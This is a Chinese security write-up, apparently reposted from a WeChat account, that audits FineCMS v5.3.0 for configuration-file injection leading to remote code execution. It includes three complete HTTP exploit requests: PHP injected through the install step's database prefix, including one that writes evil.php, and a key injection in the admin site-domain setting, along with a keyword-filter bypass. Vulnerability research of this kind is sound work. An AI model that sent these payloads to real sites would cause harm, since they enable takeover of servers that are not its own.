FineCMS 漏洞不仅皮囊好看,灵魂更有趣

0x00 背景

最近在挖掘FineCMS源码的漏洞,发现了一些有趣的洞,斗哥计划先从配置文件写入开始分析,然后再结合存储XSS进行GetShell,本篇先分析配置文件写入的问题,下周再分析存储XSS的问题,最终通过这两类洞的组合利用GetShell,大体思路流程很简单,但是代码分析中有蛮多技巧,期待与师傅们的交流讨论。

0x01 漏洞审计

1x00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206 问题文件: \finecms\finecms\system\core\Input.php 漏洞类型:配置文件写入问题 站点地址:http://www.finecms.net/

1x01 漏洞分析

在\finecms\finecms\dayrui\controllers\Install.php文件中的第127-131行发现如下代码块。

通过反向追溯在当前文件中的第75行中发现$data的创建位置。

跟入post方法,在\finecms\finecms\system\core\Input.php文件中的第255行中发现发 post方法的代码块。

跟入_fetch_from_array方法,在\finecms\finecms\system\core\Input.php文件中的第177-230行中发现该方法的代码块,代码主要对传入的数组进行简单的数据判断,代码较多这里列出重要的代码,当$xss_clean为TRUE的时候会进行xss_clean操作。通过追溯$xss_clean变量,发现是从\finecms\finecms\dayrui\config\config.php配置文件中的$config['global_xss_filtering']获取的,但是默认情况下该变量的值为FALSE,不会进行任何的XSS过滤。

但是当$config['global_xss_filtering']为TRUE会进入\finecms\finecms\system\core\Security.php的xss_clean方法进行XSS过滤,但是不进行单引号的转义,但是还过滤了PHP的标签和一些关键函数,由于还过滤了尖括号所以标签没想到绕过方法,但是可以使用类似system/*()*/('whoami')的方式绕过关键字的过滤规则进行代码执行。

因此此处可以引入单引号,从而导致写入php代码进行GetShell。

1x02 漏洞复现

在进行安装的时候,如果$config['global_xss_filtering']开启了,即TRUE,可构造如下请求可以执行PHP代码导致GetShell。

POST /index.php?c=install&m=index&step=3 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/index.php?c=install&m=index&step=3
Content-Length: 172
Connection: close

data%5Bdbhost%5D=127.0.0.1&data%5Bdbuser%5D=root&data%5Bdbpw%5D=root&data%5Bdbname%5D=FineCMS&data%5Bdbprefix%5D=fn_').die(system/*()*/('whoami'));array(//&data%5Bdemo%5D=1

如果$config['global_xss_filtering']未开启即为FALSE,进行如下请求可以GetShell。

POST /index.php?c=install&m=index&step=3 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/index.php?c=install&m=index&step=3
Content-Length: 195
Connection: close

data%5Bdbhost%5D=127.0.0.1&data%5Bdbuser%5D=root&data%5Bdbpw%5D=root&data%5Bdbname%5D=FineCMS&data%5Bdbprefix%5D=fn_'.die(fwrite(fopen('evil.php', 'w'), '<?php phpinfo();?>')),//&data%5Bdemo%5D=1

成功写入文件并生成evil.php:

访问evil.php成功GetShell:

2x00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206 问题文件: \finecms\finecms\dayrui\libraries\Dconfig.php 漏洞类型:配置文件写入问题 站点地址:http://www.finecms.net/

2x01 漏洞分析

在文件\finecms\finecms\dayrui\controllers\admin\Site.php的第46-67行中发现如下代码块,使用post接收data的数据,然后在检测域名是否被使用,未被使用将更新数据库中fn_site表中的domain的字段。

跟入$this->site_model->cache(),在\finecms\finecms\dayrui\models\Site_model.php文件中的第323-368行中,发现cache()方法,重点看第325行和338行。

跟入$this->get_site_data()方法,在\finecms\finecms\dayrui\models\Site_model.php文件中的第285-300行发现代码块,分析代码块知道是进行如下的数据查询,把前面存到数据库中的配置,取出来然后赋给$data, 通过打印$data可以知道到的就是站点配置的信息。

跟进$t['domain'] && $domain[$t['domain']] = $id;,$domain最终传入了如下\finecms\finecms\dayrui\models\Site_model.php文件中的第363行代码。

因此foreach ($data as $id => $t)后对$domain[$t['domain']] = $id;进行赋值,其中为$domain变量传入了键名$t['domain'],又因为to_require_one中不会对数组的键名进行安全处理,因此可以引入单引号,存在文件写入的问题。

2x02 漏洞复现

可以通过构造如下请求进行文件写入,并执行代码的操作:

POST /admin.php?c=site&m=index&func=assert&evil=system('whoami') HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/admin.php?c=site&m=index
Content-Length: 95
Cookie: member_uid=1; member_cookie=398ecbf6b4b29dd1a5d0; 8b0cba072045805256806b2b24239ded_ci_session=09t3nk6i1l5bfevngel2clvbuf1504p8
Connection: close

ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//

0x02小结

本篇仅列举了两处这类问题,其实该源码还有其他处文件写入问题,大家也可以自行审计去发现。留下个小疑问,这些后台的洞大家有啥办法从前台去利用呢?

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2018-03-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏维C果糖

详述 IntelliJ IDEA 创建 Maven 项目及设置 java 源目录的方法

Maven 是一个优秀的项目管理工具,它为我们提供了一个构建完整的生命周期框架。现在,就让我们一起看看如何利用 IntelliJ IDEA 快速的创建 Mave...

92290
来自专栏Java后端技术栈

Nginx初探

Nginx——Ngine X,是一款自由的、开源的、高性能HTTP服务器和反向代理服务器;也是一个IMAP、POP3、SMTP代理服务器;也就是说Nginx本身...

12630
来自专栏纯洁的微笑

Java程序员必备的Intellij插件

支持lombok的各种注解,从此不用写getter setter这些 可以把注解还原为原本的java代码 非常方便

14020
来自专栏北京马哥教育

【大型网站技术实践】初级篇:借助Nginx搭建反向代理服务器

一、反向代理:Web服务器的“经纪人” 1.1 反向代理初印象 反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然...

49480
来自专栏码洞

服务发现的基本原理

服务发现并没有怎样的高深莫测,它的原理再简单不过。只是市面上太多文章将服务发现的难度妖魔化,读者被绕的云里雾里,顿觉自己智商低下不敢高攀。

14020
来自专栏Java职业技术分享

Java程序员必备的Intellij插件

支持lombok的各种注解,从此不用写getter setter这些 可以把注解还原为原本的java代码 非常方便

18500
来自专栏何俊林

Ubuntu18.04 从头开始编译 Android Native WebRTC

本文详细记录Mac下使用PD虚拟机安装ubuntu18.4桌面版,编译Android Native WebRTC的过程。

41920
来自专栏用户2442861的专栏

Nginx初探

http://blog.csdn.net/xlgen157387/article/details/49781487

13630
来自专栏FreeBuf

如何确定恶意软件是否在自己的电脑中执行过?

很不幸,你在自己的电脑里发现了一个恶意的可执行程序!那么问题来了:这个文件到底有没有执行过? ? 在这篇文章中,我们会将注意力放在Windows操作系统的静态取...

33950
来自专栏程序员互动联盟

浏览器开发系列第一篇:如何获取最新chromium源码

背景: 最近摊上一个事儿,领导非要让写一篇技术文章,思来想去,自己接触chrome浏览器时间也不短了,干脆就总结一下吧。于是乎,本文顺理成章。由于有些细节必需...

46690

扫码关注云+社区

领取腾讯云代金券